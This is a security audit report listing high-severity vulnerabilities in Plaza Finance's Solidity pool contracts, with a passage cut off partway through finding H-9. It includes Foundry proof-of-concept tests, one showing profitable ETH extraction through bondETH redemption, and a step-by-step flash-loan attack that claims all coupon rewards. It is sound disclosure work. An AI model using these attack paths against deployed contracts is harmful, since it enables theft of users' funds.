Issue H-1: Incorrect LevETH Redeem Rate Due to BondETH Market Rate and LevETH Rate Comparison, Leading to Trader Losses

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/190

Found by

0x23r0, 0xDLG, KupiaSec, OrangeSantra, Ryonen, Waydou, ZoA, alphacipher, bladeee, bretzel, eta, farman1094, momentum, phn210, sl1, tinnohofficial, wickie, zxriptor

Summary

Withdrawal of BondETH is depend on two rates.

1. redeemRate calculated in contract based on real time values.
2. marketRate created through taking the price from BondOracleAdapter.
   Then we compare the both rate and take the lower one to use for withdrawing.

However the market rate is only for BondETH not for LevETH, still we comparing with the LevETH as well which always result in using the BondETH market Rate, Because it always be lower.

• General Lev redeem rate (625000000) [as per POC]
• Market rate always be upto (100000000)

It's always result in loss for traders. They are always withdraw the wrong amount.

Root Cause

Link : https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L477C2-L525C4

Issue lies in Pool::getRedeemAmount

-  if (marketRate != 0 && marketRate < redeemRate) {  
-   redeemRate = marketRate;  

  function getRedeemAmount(  
    TokenType tokenType,  
    uint256 depositAmount,  
    uint256 bondSupply,  
    uint256 levSupply,  
    uint256 poolReserves,  
    uint256 ethPrice,  
    uint8 oracleDecimals,  
    uint256 marketRate  
  ) public pure returns(uint256) {  
    if (bondSupply == 0) {  
      revert ZeroDebtSupply();  
    }  
  
  
    uint256 tvl = (ethPrice * poolReserves).toBaseUnit(oracleDecimals);  
    uint256 assetSupply = bondSupply;  
    uint256 multiplier = POINT_EIGHT;  
  
  
    // Calculate the collateral level based on the token type  
    uint256 collateralLevel;  
    if (tokenType == TokenType.BOND) {  
      collateralLevel = ((tvl - (depositAmount * BOND_TARGET_PRICE)) * PRECISION) / ((bondSupply - depositAmount) * BOND_TARGET_PRICE);  
    } else {  
      multiplier = POINT_TWO;  
      assetSupply = levSupply;  
      collateralLevel = (tvl * PRECISION) / (bondSupply * BOND_TARGET_PRICE);  
  
  
      if (assetSupply == 0) {  
        revert ZeroLeverageSupply();  
      }  
    }  
      
    // Calculate the redeem rate based on the collateral level and token type  
    uint256 redeemRate;  
    if (collateralLevel <= COLLATERAL_THRESHOLD) {  
      redeemRate = ((tvl * multiplier) / assetSupply);  
    } else if (tokenType == TokenType.LEVERAGE) {  
      redeemRate = ((tvl - (bondSupply * BOND_TARGET_PRICE)) / assetSupply) * PRECISION;  
    } else {  
      redeemRate = BOND_TARGET_PRICE * PRECISION;  
    }  
  
  
    if (marketRate != 0 && marketRate < redeemRate) {  
      redeemRate = marketRate;  
    }  
      
    // Calculate and return the final redeem amount  
    return ((depositAmount * redeemRate).fromBaseUnit(oracleDecimals) / ethPrice) / PRECISION;  
  }  

Internal Pre-conditions

There always be issue as long we are taking market Price.

External Pre-conditions

No pre-conditions required

Attack Path

This issue in core function, issue is exist in all withdrawal order of LevETH as long we are getting Market Rate.

Impact

Below is the situation if we mint 1 eth for LevETH and then redeem.

1. When market rate is not working ( Redeemed 1 ETH)
2. When market rate is returning value ( Redeemed 0.16 ETH)

The trader loss is around 84%

PoC

Make sure to make the marketRate return value. and then not returning value.
For initial pool value Healthy rate is considered which used in script/TestnetScript.s.sol

// SPDX-License-Identifier: UNLICENSED  
pragma solidity ^0.8.26;  
  
import "forge-std/Test.sol";  
  
import {Pool} from "../src/Pool.sol";  
import {Token} from "./mocks/Token.sol";  
import {Auction} from "../src/Auction.sol";  
import {Utils} from "../src/lib/Utils.sol";  
import {MockPool} from "./mocks/MockPool.sol";  
import {BondToken} from "../src/BondToken.sol";  
import {TestCases} from "./data/TestCases.sol";  
import {Decimals} from "../src/lib/Decimals.sol";  
import {PoolFactory} from "../src/PoolFactory.sol";  
import {Distributor} from "../src/Distributor.sol";  
import {OracleFeeds} from "../src/OracleFeeds.sol";  
import {Validator} from "../src/utils/Validator.sol";  
import {OracleReader} from "../src/OracleReader.sol";  
import {LeverageToken} from "../src/LeverageToken.sol";  
import {MockPriceFeed} from "./mocks/MockPriceFeed.sol";  
import {Deployer} from "../src/utils/Deployer.sol";  
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";  
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";  
import {console} from "forge-std/console.sol";  
  
contract PersTest is Test, TestCases {  
  using Decimals for uint256;  
  using Strings for uint256;  
  
  PoolFactory private poolFactory;  
  PoolFactory.PoolParams private params;  
  
  MockPriceFeed private mockPriceFeed;  
  address private oracleFeedsContract;  
  
  address private deployer = address(0x1);  
  address private minter = address(0x2);  
  address private governance = address(0x3);  
  address private securityCouncil = address(0x4);  
  address private user = address(0x5);  
  address private user2 = address(0x6);  
  address private user3 = address(0x7);  
  address private user4 = address(0x8);  
  address private user5 = address(0x9);  
  BondToken bond;  
  Pool pool;  
  LeverageToken lev;  
  Token rToken;  
  
  
  address public constant ethPriceFeed = address(0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70);  
  uint256 private constant CHAINLINK_DECIMAL_PRECISION = 10**8;  
  uint8 private constant CHAINLINK_DECIMAL = 8;  
  
  /**  
   * @dev Sets up the testing environment.  
   * Deploys the BondToken contract and a proxy, then initializes them.  
   * Grants the minter and governance roles and mints initial tokens.  
   */  
  function setUp() public {  
    vm.startPrank(deployer);  
  
    address contractDeployer = address(new Deployer());  
    oracleFeedsContract = address(new OracleFeeds());  
  
    address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));  
    address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));  
    address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));  
    address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));  
  
    poolFactory = PoolFactory(Utils.deploy(address(new PoolFactory()), abi.encodeCall(  
      PoolFactory.initialize,   
      (governance, contractDeployer, oracleFeedsContract, poolBeacon, bondBeacon, levBeacon, distributorBeacon)  
    )));  
  
    params.fee = 0;  
    params.feeBeneficiary = governance;  
    params.reserveToken = address(new Token("Wrapped ETH", "WETH", false));  
    params.sharesPerToken = 2_500_000;  
    params.distributionPeriod = 7776000;  
    params.couponToken = address(new Token("USDC", "USDC", false));  
      
    OracleFeeds(oracleFeedsContract).setPriceFeed(params.reserveToken, address(0), ethPriceFeed, 1 days);  
  
    // Deploy the mock price feed  
    mockPriceFeed = new MockPriceFeed();  
  
    // Use vm.etch to deploy the mock contract at the specific address  
    bytes memory bytecode = address(mockPriceFeed).code;  
    vm.etch(ethPriceFeed, bytecode);  
  
    // Set oracle price  
    mockPriceFeed = MockPriceFeed(ethPriceFeed);  
    mockPriceFeed.setMockPrice(3125 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));  
      
    vm.stopPrank();  
  
    vm.startPrank(governance);  
    poolFactory.grantRole(poolFactory.POOL_ROLE(), governance);  
    poolFactory.grantRole(poolFactory.SECURITY_COUNCIL_ROLE(), securityCouncil);  
    vm.stopPrank();  
  }  
  
   function testMarketRateImbalance() public {  
    vm.startPrank(governance);  
     rToken = Token(params.reserveToken);  
  
    // Mint reserve tokens  
    rToken.mint(governance, 100 ether);  
    rToken.approve(address(poolFactory), 100 ether);  
  
    // Create pool and approve deposit amount  
     pool = Pool(poolFactory.createPool(params, 100 ether, 2500 ether, 100 ether, "", "", "", "", false));  
    bond = pool.bondToken();  
    lev = pool.lToken();  
    assertEq(2500 ether, BondToken(pool.bondToken()).totalSupply());  
    assertEq(100 ether, LeverageToken(pool.lToken()).totalSupply());  
  
     
    console.log("1st Iteration");  
    createToken(user, 1 ether, Pool.TokenType.LEVERAGE);  
    console.log("                ");  
  
  
    // NOTE Make sure to mock MarketRate to return value.  
     vm.startPrank(user);     
    console.log("3rd Iteration LEv Redeem");  
    uint amount = pool.redeem(Pool.TokenType.LEVERAGE, lev.balanceOf(user), 1);  
    console.log("Amount Redeemed", amount);  
    console.log("                ");  
    assertEq(amount, rToken.balanceOf(user));  
    vm.stopPrank();  
    
  }  
  
  function createToken(address inBehalfOf,uint dealAmount, Pool.TokenType tokenType ) internal {  
    vm.startPrank(inBehalfOf);  
    deal(address(rToken), inBehalfOf, dealAmount );  
    rToken.approve(address(pool), dealAmount);      
    uint amount = pool.create(tokenType, dealAmount, 1);  
    console.log("Amount Minted", amount);  
    if(tokenType == Pool.TokenType.BOND){  
      assertEq(amount, bond.balanceOf(inBehalfOf));  
    } else {  
      assertEq(amount, lev.balanceOf(inBehalfOf));  
    }  
    vm.stopPrank();  
  }  
}  

Mitigation

There is 2 possible solution

1. To change the code in Pool::simulateRedeem only feching marketRate if redeem TokenType is Bond.
2. Made changes in Pool::getRedeemAmount comparing marketRate with redeemRate if TokenType is Bond only.

 if (tokenType == TokenType.BOND){  
  if (marketRate != 0 && marketRate < redeemRate) {  
      redeemRate = marketRate;  
    }}  
  

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Convexity-Research/plaza-evm/pull/147

Issue H-2: Anyone Can Get Funds From This Contract.

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/341

Found by

0xadrii, KupiaSec, farman1094, future, novaman33

Summary

An attacker can purchase bondETH at a low price and sell it at a higher price.

Root Cause

When selling bondETH, the estimated collateralLevel is utilized instead of the current collateralLevel.
By exploiting this vulnerability, an attacker can purchase bondETH at various prices and sell it for the maximum price of $100.

https://github.com/sherlock-audit/2024-12-plaza-finance/tree/main/plaza-evm/src/Pool.sol#L498

    function getRedeemAmount(  
        ...  
    ) public pure returns(uint256) {  
        ...  
        uint256 tvl = (ethPrice * poolReserves).toBaseUnit(oracleDecimals);  
        uint256 assetSupply = bondSupply;  
        uint256 multiplier = POINT_EIGHT;  
  
        // Calculate the collateral level based on the token type  
        uint256 collateralLevel;  
        if (tokenType == TokenType.BOND) {  
498:        collateralLevel = ((tvl - (depositAmount * BOND_TARGET_PRICE)) * PRECISION) / ((bondSupply - depositAmount) * BOND_TARGET_PRICE);  
        } else {  
            ...  
        }  
          
        // Calculate the redeem rate based on the collateral level and token type  
        uint256 redeemRate;  
        if (collateralLevel <= COLLATERAL_THRESHOLD) {  
            redeemRate = ((tvl * multiplier) / assetSupply);  
        } else if (tokenType == TokenType.LEVERAGE) {  
            redeemRate = ((tvl - (bondSupply * BOND_TARGET_PRICE)) / assetSupply) * PRECISION;  
        } else {  
            redeemRate = BOND_TARGET_PRICE * PRECISION;  
        }  
  
        if (marketRate != 0 && marketRate < redeemRate) {  
            redeemRate = marketRate;  
        }  
          
        // Calculate and return the final redeem amount  
        return ((depositAmount * redeemRate).fromBaseUnit(oracleDecimals) / ethPrice) / PRECISION;  
    }  

Internal pre-conditions

collateralLevel > 1.2

External pre-conditions

N/A

Attack Path

The attacker purchases bondETH until the collateralLevel is less than 1.2 at various prices and then sells it all at the maximum price($100).

PoC

The price calculation formula is as follows:

• When purchasing bondETH:
  tvl = (ethPrice * poolReserve), collateralLevel = tvl / (bondSupply * 100).
  If collateralLevel <= 1.2, creationRate = tvl * 0.8 / bondSupply.
  If collateralLevel > 1.2, creationRate = 100.
• When selling bondETH:
  tvl = (ethPrice * poolReserve), collateralLevel = (tvl - bondToSell * 100) / ((bondSupply - bondToSell) * 100).
  If collateralLevel <= 1.2, redeemRate = tvl * 0.8 / bondSupply.
  If collateralLevel > 1.2, redeemRate = 100.

Assuming: poolReserve = 120 ETH, bondSupply = 3000 bondETH, levSupply = 200 levETH, ETH Price = $3075

• When Alice buys bondETH for 30 ETH:
  tvl = 3075 * 120 = 369000, collateralLevel = 369000 / (3000 * 100) = 1.23, creationRate = 100.
  minted = 30 * 3075 / 100 = 922.5 bondETH.
  poolReserve = 150 ETH, bondSupply = 3922.5, Alice's bondEth amount = 922.5 bondETH.
• When Alice buys bondETH another 30 ETH:
  tvl = 3075 * 150 = 461250, collateralLevel = 461250 / (3922.5 * 100) ~= 1.176 < 1.2, creationRate = 461250 * 0.8 / 3922.5 ~= 94.07
minted = 30 * 3075 / (461250 * 0.8 / 3922.5) = 980.625
poolReserve = 180 ETH, bondSupply = 4903.125. Alice's bondEth amount = 1903.125 bondETH.
• When Alice sells all of her bondETH:
  tvl = 3075 * 180 = 553500, collateralLevel = (553500 - 1903.125 * 100) / (3000 * 100) = 363187.5 / 300,000 = 1.210625 > 1.2
redeemRate = 100, receivedAmount = 1903.125 * 100 / 3075 ~= 61.89 ETH.
  Thus, Alice extracts approximately 1.89 ETH from this market.
  When Alice first buys at the price(creationRate) of $100, the market price (marketRate) is also nearly$100, resulting in no significant impact from the market price(Even if the decimal of marketRate is correct).

Attacker can extract ETH until collateralLevel reaches 1.2.
This amount is (ethPrice * poolReserve - 120 * bondSupply) ($).
Even if collateralLevel < 1.2, bondETH owners could sell their bondETH and then extract ETH from this market.

Impact

An attacker could extract significant amounts of ETH from this market.

Mitigation

    function getRedeemAmount(  
        ...  
    ) public pure returns(uint256) {  
        ...  
        // Calculate the collateral level based on the token type  
        uint256 collateralLevel;  
        if (tokenType == TokenType.BOND) {  
-498:        collateralLevel = ((tvl - (depositAmount * BOND_TARGET_PRICE)) * PRECISION) / ((bondSupply - depositAmount) * BOND_TARGET_PRICE);  
+498:        collateralLevel = (tvl * PRECISION) / (bondSupply * BOND_TARGET_PRICE);  
        } else {  
            ...  
        }  
          
        // Calculate the redeem rate based on the collateral level and token type  
        uint256 redeemRate;  
        if (collateralLevel <= COLLATERAL_THRESHOLD) {  
            redeemRate = ((tvl * multiplier) / assetSupply);  
        } else if (tokenType == TokenType.LEVERAGE) {  
            redeemRate = ((tvl - (bondSupply * BOND_TARGET_PRICE)) / assetSupply) * PRECISION;  
        } else {  
            redeemRate = BOND_TARGET_PRICE * PRECISION;  
        }  
  
        if (marketRate != 0 && marketRate < redeemRate) {  
            redeemRate = marketRate;  
        }  
          
        // Calculate and return the final redeem amount  
        return ((depositAmount * redeemRate).fromBaseUnit(oracleDecimals) / ethPrice) / PRECISION;  
    }  

Test Code

https://github.com/sherlock-audit/2024-12-plaza-finance/tree/main/plaza-evm/test/Pool.t.sol#L1156
Changed linked function to following code.

  function testCreateRedeemWithFees() public {  
    vm.startPrank(governance);  
  
    // Create a pool with 2% fee  
    params.fee = 20000; // 2% fee (1000000 precision)  
    params.feeBeneficiary = address(0x942);  
  
    // Mint and approve reserve tokens  
    Token rToken = Token(params.reserveToken);  
    rToken.mint(governance, 120 ether);  
    rToken.approve(address(poolFactory), 120 ether);  
  
    Pool pool = Pool(poolFactory.createPool(params, 120 ether, 3000 ether, 200 ether, "", "", "", "", false));  
    vm.stopPrank();  
  
    // User creates leverage tokens  
    vm.startPrank(user);  
      
    rToken.mint(user, 60 ether);  
    mockPriceFeed.setMockPrice(3075 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));  
  
    uint256 usedEth = 60 ether;  
    uint256 receivedEth = 0;  
    uint256 buyTime = 2;  
    uint256 sellTime = 1;  
    rToken.approve(address(pool), usedEth);  
    uint256 bondAmount = 0;  
  
    console2.log("Before Balance:", rToken.balanceOf(user));  
    assertEq(rToken.balanceOf(user), 60 ether);  
    for (uint256 i = 0; i < buyTime; i++) {  
      bondAmount += pool.create(Pool.TokenType.BOND, usedEth / buyTime, 0);  
    }  
    pool.bondToken().approve(address(pool), bondAmount);  
    for (uint256 i = 0; i < sellTime; i++) {  
      receivedEth += pool.redeem(Pool.TokenType.BOND, bondAmount / sellTime, 0);  
    }  
    console2.log(" After Balance:",rToken.balanceOf(user));  
    assertLt(rToken.balanceOf(user), 60 ether);  
      
    vm.stopPrank();  
  
    // Reset state  
    rToken.burn(user, rToken.balanceOf(user));  
    rToken.burn(address(pool), rToken.balanceOf(address(pool)));  
  }  

forge test --match-test "testCreateRedeemWithFees" -vv

Result:

[FAIL: assertion failed: 61890244154579369433 >= 60000000000000000000] testCreateRedeemWithFees() (gas: 2190059)
Logs:
Before Balance: 60000000000000000000
After Balance: 61890244154579369433

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Convexity-Research/plaza-evm/pull/155

Issue H-3: Calling the transferReserveToAuction will revert due to increase in currentPeriod

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/407

Found by

056Security, 0x23r0, 0x52, 0xAadi, 0xEkko, 0xPhantom2, 0xadrii, 0xc0ffEE, 0xrex, 4th05, Artur, Aymen0909, BADROBINX, ChainProof, Goran, Hueber, Kenn.eth, Kyosi, Mill, MysteryAuditor, POB, Pablo, Schnilch, Strapontin, Uddercover, Vidus, X0sauce, ZoA, alphacipher, bladeee, bretzel, carlitox477, dobrevaleri, elolpuer, elvin.a.block, evmboi32, farismaulana, i3arba, jimpixjed, jprod15, momentum, mxteem, novaman33, oxelmiguel, pashap9990, phoenixv110, rudhra1749, shiazinho, shui, shushu, silver_eth, sl1, stuart_the_minion, tinnohofficial, tusharr1411, tvdung94, wellbyt3, x0lohaclohell, y4y, zhenyazhd

Summary

The auction contract calls the transferReserveToAuction function to pull the reserve tokens.

However, an issue occur that will prevent the auction contract from calling the function.

Root Cause

During auction creation, the currentPeriod is used to store the auction address in the auctions mapping, however, the currentPeriod is then increased to another value, meaning when we quote the current period again, it will return 2 if it was 1 prior to the incraese

  
  552:@>    auctions[currentPeriod] = Utils.deploy(  
        address(new Auction()),  
        abi.encodeWithSelector(  
          Auction.initialize.selector,  
          address(couponToken),  
          address(reserveToken),  
          couponAmountToDistribute,  
          block.timestamp + auctionPeriod,  
          1000,  
          address(this),  
          poolSaleLimit  
        )  
      );  
  
      // Increase the bond token period  
  @>    bondToken.increaseIndexedAssetPeriod(sharesPerToken);  

Internal Pre-conditions

Can happen in normal operation.

External Pre-conditions

none

Attack Path

1. User or anyone starts the auction and the auction address is stored in the auctions mapping
2. After some time, the auction succeed and the transferReserveToAuction is called to transfer the reserve token to the auction contract.
3. Since the currentPeriod has now increased , quoting the bondToken.globalPool() will return the increased value, meaning the mapping will return zero address because there's no address saved to it, so comparing it with the msg.sender will revert because the caller auctionaddress != address(0)

Impact

The call to the transferReserveToAuction will fail and ending the auction will not take place.

PoC

No response

Mitigation

This can be mitigated by subtracting 1 from the quoted currentPeriod in the transferReserveToAuction

  function transferReserveToAuction(uint256 amount) external virtual {  
       (uint256 currentPeriod, ) = bondToken.globalPool();  
+     uint256  previousCurrentPeriod = currentPeriod - 1;  
      address auctionAddress = auctions[previousCurrentPeriod ];  
      require(msg.sender == auctionAddress, CallerIsNotAuction());  
      
      IERC20(reserveToken).safeTransfer(msg.sender, amount);  
  }  

just like it happened in the distribute function.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Convexity-Research/plaza-evm/pull/157

Issue H-4: BondOracleAdapter will cause massive loss of funds for a large number of bond tokens

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/440

Found by

0x52, ZoA, bladeee

Summary

BondOracleAdapter both directly returns the price from the pool and hardcodes the oracle decimals to bondToken.decimals(). The combination of these two factors will cause the adapter to return an incorrect value for any bondToken that is not alphanumerically greater than USDC. The dex pool always prices tokenA in terms of tokenB and because the decimals of the oracle are hardcoded to the decimals of the bond token, the bond token must be tokenB or else the decimals will be incorrect. This incorrect pricing will cause massive loss of funds to user withdrawing from the pool as the market price will be much too low.

When initializing the BondOracleAdapter, it pulls the pool address from the getPool mapping. While this will pull the relevant pool for those tokens, it does not ensure that the tokens are in the correct order.

CLFactory.sol#L91-L93

    getPool[token0][token1][tickSpacing] = pool;  
    // populate mapping in the reverse direction, deliberate choice to avoid the cost of comparing addresses  
    getPool[token1][token0][tickSpacing] = pool;  

We see that get pool is populated in both orders even though they are sorted alphanumerically. Therefore when the pool is retrieved for BondOracleAdapter the tokens can be in any order.

BondOracleAdapter#L113

return (uint80(0), int256(getPriceX96FromSqrtPriceX96(getSqrtTwapX96)), block.timestamp, block.timestamp, uint80(0));  

We see that when price is returned it is always returned directly as returned by the underlying dex pool. The issues is that if the bond token is not tokenB then the decimal of the return value will be the liquidity token rather than the bond token.

Pool.sol#L519-L521

if (marketRate != 0 && marketRate < redeemRate) {  
  redeemRate = marketRate;  
}  

As a result when redeeming bond tokens the value will be significantly lower than expected and will result in bond holders losing large amounts of value.

Root Cause

BondOracleAdapter#L113 always return price directly

BondOracleAdapter.sol#L62 always assumes that price is denominated in bond tokens

Internal Pre-conditions

address(bondToken) > address(liquidityToken)

External Pre-conditions

N/A

Attack Path

N/A

Impact

Loss of funds for redeeming bond token holders

PoC

No response

Mitigation

BondOracleAdapter#initialize should set decimals to either bondToken or liquidityToken depending on token order in the pool

Issue H-5: Leverage user can avoid paying fees to bond holders by withdrawing before auction ends

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/450

The protocol has acknowledged this issue.

Found by

0x52, moray5554, phoenixv110

Summary

Bond holders are paid fees by leverage holders in discrete quarterly payments. Due to the long length of this period, leverage holders can easily exploit and avoid this fee by withdrawing before funds are taken to pay for the auction. By doing this they can easily avoid paying all fees to bond holders, causing substantial losses to other leverage holders who are now forced to pay the malicious user's share of the fees.

Pool.sol#L511-L517

    if (collateralLevel <= COLLATERAL_THRESHOLD) {  
        redeemRate = ((tvl * multiplier) / assetSupply);  
    } else if (tokenType == TokenType.LEVERAGE) {  
@>      redeemRate = ((tvl - (bondSupply * BOND_TARGET_PRICE)) / assetSupply) * PRECISION;  
    } else {  
        redeemRate = BOND_TARGET_PRICE * PRECISION;  
    }  

We see above that the redeemRate for leverage tokens is calculated based on the number of asset held by the pool.

Pool.sol#L577-L583

    function transferReserveToAuction(uint256 amount) external virtual {  
        (uint256 currentPeriod, ) = bondToken.globalPool();  
        address auctionAddress = auctions[currentPeriod];  
        require(msg.sender == auctionAddress, CallerIsNotAuction());  
          
@>      IERC20(reserveToken).safeTransfer(msg.sender, amount);  
    }  

We also see that funds are transferred out of the contract until after the auction is completed. Therefore if the user withdraws before the auction ends then they will received an amount that is not subject to the bond holders fee.

Root Cause

Pool.sol#L383-L414 fails to enforce or charge partial fees to redeeming leverage users

Internal preconditions

None

External preconditions

None

Attack Path

N/A

Impact

Leverage users can get leverage exposure for free while forcing other users to pay their fees

POC

Unfortunately it is impossible to demonstrate via POC because transferReserveToAuction is broken

Mitigation

N/A

Issue H-6: Malicious user can leverage flash loans to claim all coupon rewards

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/725

Found by

0x23r0, 0x52, 0xNov1ce, 0xe4669da, AksWarden, BADROBINX, ChainProof, Etherking, InquisitorScythe, Kenn.eth, MysteryAuditor, Nadir_Khan_Sec, OrangeSantra, Pablo, Schnilch, Strapontin, Uddercover, ZoA, aswinraj94, bladeee, copperscrewer, devalinas, farman1094, future, komane007, momentum, moray5554, phoenixv110

Summary

Anyone can call Pool::startAuction, which will deploy a new auction and checkpoint the sharesPerToken by calling BondToken::increaseIndexedAssetPeriod for the holders of bond token, as long as distributionPeriod have passed since the last distribution.

    function startAuction() external whenNotPaused {  
        require(lastDistribution + distributionPeriod < block.timestamp, DistributionPeriodNotPassed());  
        require(lastDistribution + distributionPeriod + auctionPeriod >= block.timestamp, AuctionPeriodPassed());  
       ....  
        bondToken.increaseIndexedAssetPeriod(sharesPerToken);  
        lastDistribution = block.timestamp;  
    }  

The Pool::distribute function distributes the rewards from the previous auction, so it can only be called after a new auction has started.

 function distribute() external whenNotPaused {  
        (uint256 currentPeriod,) = bondToken.globalPool();  
        require(currentPeriod > 0, AccessDenied());  
  
        uint256 previousPeriod = currentPeriod - 1;  
        uint256 couponAmountToDistribute = Auction(auctions[previousPeriod]).totalBuyCouponAmount();  
  
        ....  

The Distributor::claim function gets the shares of the user by callingBondToken::getIndexedUserAmount:

    function getIndexedUserAmount(address user, uint256 balance, uint256 period) public view returns (uint256) {  
        IndexedUserAssets memory userPool = userAssets[user];  
        uint256 shares = userPool.indexedAmountShares;  
  
        for (uint256 i = userPool.lastUpdatedPeriod; i < period; i++) {  
            shares += (balance * globalPool.previousPoolAmounts[i].sharesPerToken).toBaseUnit(SHARES_DECIMALS);  
        }  
  
        return shares;  
    }  

The function loops through the periods and accounts for all of the shares during the user's last updated one to the current.

The docs state that as long as the user holds during distribution, he should be eligible for the coupon rewards, however this opens up an opportunity for a flash loan attack.

The attacker can leverage this by minting bond tokens and calling startAuction, which will increase the current period and make it greater than the userPool.lastUpdatedPeriod, which makes the Distributor account his shares.

Root Cause

Pool does not have a flashloan protection allowing users to claim all of the coupon rewards

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

When users claim through the Distributor::claim 1 share == 1 coupon token, which the attacker can leverage by:
In one transaction:

• Takes a flashloan
• Mints couponAmountToDistribute / sharesPerToken bond tokens
• Calls startAuction to snapshot his balance
• Calls distribute to distribute the coupon rewards to the distributor
• Calls Distributor::claim to claim all of the shares
• Burn the bond tokens
• Repays the flashloan

Impact

All of the other holders will be left with no rewards

PoC

No response

Mitigation

Consider not allowing anyone to turn over a period, or apply some kind of snapshot protection

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Convexity-Research/plaza-evm/pull/162

Issue H-7: Funds might remain locked in BalancerRouter when depositing in Balancer pool

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/841

Found by

0xShahilHussain, 0xadrii, Adotsam, Albort, KupiaSec, ZeroTrust, bretzel, dobrevaleri, elolpuer, novaman33, shushu, sl1

Summary

Not checking how much of the deposited assets are actually deposited in the pool, will lead to loss of funds for the user, because the remaining assets will be locked inside the BalancerRouter.

Root Cause

BalancerRouter provides an integration with Balancer V2 pools via the joinBalancerPool(), which is used by joinBalancerAndPlaza() and joinBalancerAndPredeposit(). When called, joinBalancerPool() accepts the poolId, array of assets, the maximum amounts the user is willing to deposit and additional user data. First it transfers the maximum amount of assets from the user's address to its (ref). And after that joins the pool (ref).

However, it is not guaranteed that the maximum value of each asset will be deposited in the Pool. From the Balancer V2 doc:

The amounts to send are decided by the Pool and not the Vault: it just enforces these maximums.

This means that there might be leftover assets in the BalancerRouter that are not deposited into the pool, but are also not returned to the user.

Internal Pre-conditions

No response

External Pre-conditions

1. Not all assets are deposited into the Balancer Pool.

Attack Path

1. User calls joinBalancerAndPredeposit() or joinBalancerAndPlaza().
2. Maximum amount of tokens are sent to the BalancerRouter.
3. Not all of the tokens are deposited into the Pool, because he decides how much to deposit.

Impact

The user will suffer loss of funds, because part of his assets will remain locked in the BalancerRouter.

PoC

No response

Mitigation

Send the remaining assets back to the user.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Convexity-Research/plaza-evm/pull/154

Issue H-8: Fee is charged current reserveToken pool balance to time which is not updated

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/842

Found by

0x52, 0xDemon, 0xadrii, 0xlucky, 0xmystery, Abhan1041, Beejay, BugAttacker, ChainProof, Darinrikusham, DeLaSoul, Etherking, Goran, Harry_cryptodev, JohnTPark24, Kirkeelee, KupiaSec, Kyosi, MysteryAuditor, Pablo, Saurabh_Singh, Strapontin, ZeroTrust, ZoA, appet, bigbear1229, bladeee, bretzel, bube, davidjohn241018, dobrevaleri, farismaulana, future, moray5554, novaman33, pessimist, prosper, sl1, t0x1c, tvdung94, ydlee

Summary

Here fee is charged from lastFeeClaimTime to current time but with current reserveToken token pool balance. But fee should be charged on every reserveToken balance is changed. That can be accomplished via claimFees function is invoked every user create and redeem activities.

Root Cause

Fee is charged based on current reserveToken balance where feeBeneficiary is invoked claimFees function. But time to time reserveToken can be changed. So fee should be calculated each and every time when reserveToken balance is changed.

  function claimFees() public nonReentrant {  
    require(msg.sender == feeBeneficiary || poolFactory.hasRole(poolFactory.GOV_ROLE(), msg.sender), NotBeneficiary());  
    uint256 feeAmount = getFeeAmount();  
      
    if (feeAmount == 0) {  
      revert NoFeesToClaim();  
    }  
      
    lastFeeClaimTime = block.timestamp;  
    IERC20(reserveToken).safeTransfer(feeBeneficiary, feeAmount);  
      
    emit FeeClaimed(feeBeneficiary, feeAmount);  
  }  
  
  /**  
   * @dev Returns the amount of fees to be claimed.  
   * @return The amount of fees to be claimed.  
   */  
  function getFeeAmount() internal view returns (uint256) {  
    return (IERC20(reserveToken).balanceOf(address(this)) * fee * (block.timestamp - lastFeeClaimTime)) / (PRECISION * SECONDS_PER_YEAR);  
  }  

Internal Pre-conditions

Can happen in normal operation.

External Pre-conditions

None

Attack Path

1. Consider this scenario , pool is consist of 10e18 reserveToken throughout the year at the year end , some one is deposited 1000e18 reserveToken , now feeBeneficiary is called claimFees , here fee is overcharged. meaning fee is calculated as 1000e18 token is in pool throughout the year.
2. pool is consist of 1000e18 reserveToken through out the year at the year end , most of users are redeem , due to that reserveToken balance is 10e18 , now feeBeneficiary is called claimFees , here fee is undercharged. meaning fee is calculated as 10e18 token is in pool throughout the year.

Impact

1. Fee is not collected correctly so that it could be overcharged or undercharged .

PoC

No response

Mitigation

claimFees can be invoked inside of _create and _redeem functions.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Convexity-Research/plaza-evm/pull/164

Issue H-9: COLLATERAL_THRESHOLD should be set to 125% instead of 120%.

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/895

Found by

KupiaSec, makeWeb3safe, werulez99, zraxx

Summary

The price of BondToken depends on whether the collateralLevel is above or below 120%.

• If collateralLevel <= 120%:

  80% of TVL is allocated for BondToken, so the price of BondToken is less than 120 * 80% = 96.

• If collateralLevel > 120%:

  The price of BondToken is set to 100.

As you can see, when the collateralLevel moves from below to above 120%, the price of BondToken changes from <= 96 to 100, indicating that the price curve is not continuous.

To ensure continuity, 125% should be used instead of 120%.

Root Cause

The getRedeemAmount() function calculates the redeemRate based on whether the collateralLevel is above or below 120%.

